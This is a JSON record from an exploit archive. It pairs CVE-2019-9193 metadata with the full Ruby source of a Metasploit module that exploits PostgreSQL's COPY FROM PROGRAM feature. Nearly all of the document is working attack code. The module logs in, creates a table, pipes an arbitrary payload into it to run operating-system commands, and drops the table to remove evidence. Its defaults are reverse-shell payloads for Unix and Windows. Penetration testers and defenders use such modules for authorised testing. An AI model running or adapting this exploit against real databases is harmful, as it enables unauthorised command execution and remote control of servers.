{"exploit":{"id":"MSF-multi--postgres--postgres_copy_from_program_cmd_exec","name":"PostgreSQL COPY FROM PROGRAM Command Execution","description":"Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with 'pg_execute_server_program' to pipe to and from an external program using COPY. This allows arbitrary command execution as though you have console access. This module attempts to create a new table, then execute system commands in the context of copying the command output into the table. This module should work on all Postgres systems running version 9.3 and above. For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl For Windows Systems, target 2 is used with powershell payloads such as: cmd/windows/powershell_reverse_tcp Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload or other customised command.","cves":["CVE-2019-9193"],"author":"Jacob Wilkin","published":"2019-03-20","platform":"Linux,OSX,Unix,Windows,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb","path":"modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"postgres_copy_from_program_cmd_exec.rb","vulnerabilities":[{"id":"CVE-2019-9193","state":"PUBLISHED","title":null,"titleSource":null,"description":"In PostgreSQL 9.3 through 11.2, the \"COPY TO/FROM PROGRAM\" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-9193","cvss":{"version":"3.0","baseScore":7.2,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-9193"},"updatedAt":"2024-11-15T15:13:38.845Z","retrievedAt":"2026-11-25T20:02:30.397Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--postgres--postgres_copy_from_program_cmd_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--postgres--postgres_copy_from_program_cmd_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--postgres--postgres_copy_from_program_cmd_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--postgres--postgres_copy_from_program_cmd_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::Postgres\n  include Msf::Exploit::Remote::Tcp\n  include Msf::Auxiliary::Report\n  include Msf::OptionalSession::PostgreSQL\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PostgreSQL COPY FROM PROGRAM Command Execution',\n        'Description' => %q{\n          Installations running Postgres 9.3 and above have functionality which allows for the superuser\n          and users with 'pg_execute_server_program' to pipe to and from an external program using COPY.\n          This allows arbitrary command execution as though you have console access.\n\n          This module attempts to create a new table, then execute system commands in the context of\n          copying the command output into the table.\n\n          This module should work on all Postgres systems running version 9.3 and above.\n\n          For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl\n\n          For Windows Systems, target 2 is used with powershell payloads such as: cmd/windows/powershell_reverse_tcp\n          Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload\n          or other customised command.\n        },\n        'Author' => [\n          'Jacob Wilkin' # Exploit Author of Module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2019-9193'],\n          ['URL', 'https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5'],\n          ['URL', 'https://www.postgresql.org/docs/9.3/release-9-3.html'] # Patch notes adding the function, see 'E.26.3.3. Queries - Add support for piping COPY and psql \\copy data to/from an external program (Etsuro Fujita)'\n        ],\n        'PayloadType' => 'cmd',\n        'Platform' => %w[linux unix win osx],\n        'Payload' => {},\n        'Targets' => [\n          [\n            'Unix/OSX/Linux', {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'DefaultOptions' => {\n                'Payload' => 'cmd/unix/reverse_perl'\n              }\n            }\n          ], [\n            'Windows - PowerShell (In-Memory)', {\n              'Platform' => 'windows',\n              'Arch' => ARCH_CMD,\n              'DefaultOptions' => {\n                'Payload' => 'cmd/windows/powershell_reverse_tcp'\n              }\n            }\n          ], [\n            'Windows (CMD)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_CMD],\n              'Payload' => {\n                'Compat' => {\n                  'PayloadType' => 'cmd',\n                  'RequiredCmd' => 'adduser, generic'\n                }\n              }\n            }\n          ],\n        ],\n        'DisclosureDate' => '2019-03-20',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]),\n      OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false])\n    ])\n\n    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')\n  end\n\n  # Return the datastore value of the same name\n  # @return [String] tablename for table to use with command execution\n  def tablename\n    datastore['TABLENAME']\n  end\n\n  def check\n    vuln_version? ? CheckCode::Appears('PostgreSQL version appears vulnerable') : CheckCode::Safe('PostgreSQL version does not appear to be vulnerable')\n  end\n\n  def vuln_version?\n    version = postgres_fingerprint\n    return false unless version[:auth]\n\n    vprint_status version[:auth].to_s\n    version_full = version[:auth].to_s.scan(/^PostgreSQL ([\\d.]+)/i).flatten.first\n    Rex::Version.new(version_full) >= Rex::Version.new('9.3')\n  end\n\n  def login_success?\n    status = do_login(username, password, database)\n    case status\n    when :noauth\n      print_error \"#{peer} - Authentication failed\"\n      return false\n    when :noconn\n      print_error \"#{peer} - Connection failed\"\n      return false\n    else\n      print_status \"#{peer} - #{status}\"\n      return true\n    end\n  end\n\n  def execute_payload\n    # Drop table if it exists\n    query = \"DROP TABLE IF EXISTS #{tablename.inspect};\"\n    drop_query = postgres_query(query)\n    case drop_query.keys[0]\n    when :conn_error\n      print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error\"\n      return false\n    when :sql_error\n      print_warning \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}\"\n      return false\n    when :complete\n      print_good \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{tablename} dropped successfully\"\n    else\n      print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown\"\n      return false\n    end\n\n    # Create Table\n    query = \"CREATE TABLE #{tablename.inspect}(filename text);\"\n    create_query = postgres_query(query)\n    case create_query.keys[0]\n    when :conn_error\n      print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error\"\n      return false\n    when :sql_error\n      print_warning \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}\"\n      return false\n    when :complete\n      print_good \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{tablename} created successfully\"\n    else\n      print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown\"\n      return false\n    end\n\n    # Copy Command into Table\n    cmd_filtered = payload.encoded.gsub(\"'\", \"''\")\n    query = \"COPY #{tablename.inspect} FROM PROGRAM '#{cmd_filtered}';\"\n    copy_query = postgres_query(query)\n    case copy_query.keys[0]\n    when :conn_error\n      print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error\"\n      return false\n    when :sql_error\n      if copy_query[:sql_error].match? 'execution expired'\n        print_warning 'Timed out. The function was potentially executed.'\n        return true\n      end\n      print_warning \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}\"\n      if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/\n        print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'\n        return false\n      end\n      print_warning \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}\"\n      return false\n    when :complete\n      print_good \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{tablename} copied successfully(valid syntax/command)\"\n    else\n      print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown\"\n      return false\n    end\n\n    if datastore['DUMP_TABLE_OUTPUT']\n      # Select output from table for debugging\n      query = \"SELECT * FROM #{tablename.inspect};\"\n      select_query = postgres_query(query)\n      case select_query.keys[0]\n      when :conn_error\n        print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error\"\n        return false\n      when :sql_error\n        print_warning \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}\"\n        return false\n      when :complete\n        print_good \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{tablename} contents:\\n#{select_query}\"\n        return true\n      else\n        print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown\"\n        return false\n      end\n    end\n    # Clean up table evidence\n    query = \"DROP TABLE IF EXISTS #{tablename.inspect};\"\n    drop_query = postgres_query(query)\n    case drop_query.keys[0]\n    when :conn_error\n      print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error\"\n      return false\n    when :sql_error\n      print_warning \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}\"\n      return false\n    when :complete\n      print_good \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{tablename} dropped successfully(Cleaned)\"\n    else\n      print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown\"\n      return false\n    end\n  end\n\n  def do_login(user, pass, database)\n    password = pass || postgres_password\n    result = postgres_fingerprint(\n      db: database,\n      username: user,\n      password: password\n    )\n\n    return result[:auth] if result[:auth]\n\n    print_error \"#{peer} - Login failed\"\n    return :noauth\n  rescue Rex::ConnectionError\n    return :noconn\n  end\n\n  def exploit\n    self.postgres_conn = session.client if session\n    return unless vuln_version?\n    return unless login_success?\n\n    print_status('Exploiting...')\n    if execute_payload\n      print_status('Exploit Succeeded')\n    else\n      print_error('Exploit Failed')\n    end\n    postgres_logout if @postgres_conn && session.blank?\n  end\nend\n","sha256":"33439fd6e5ecd2144f15716b2cb65eeb0289ccf57c1f82ee332c8ab21236bf6e","bytes":9390,"fetchedAt":"2026-11-26T13:11:22.476Z","encoding":"utf-8 (display only; download retains original bytes)"}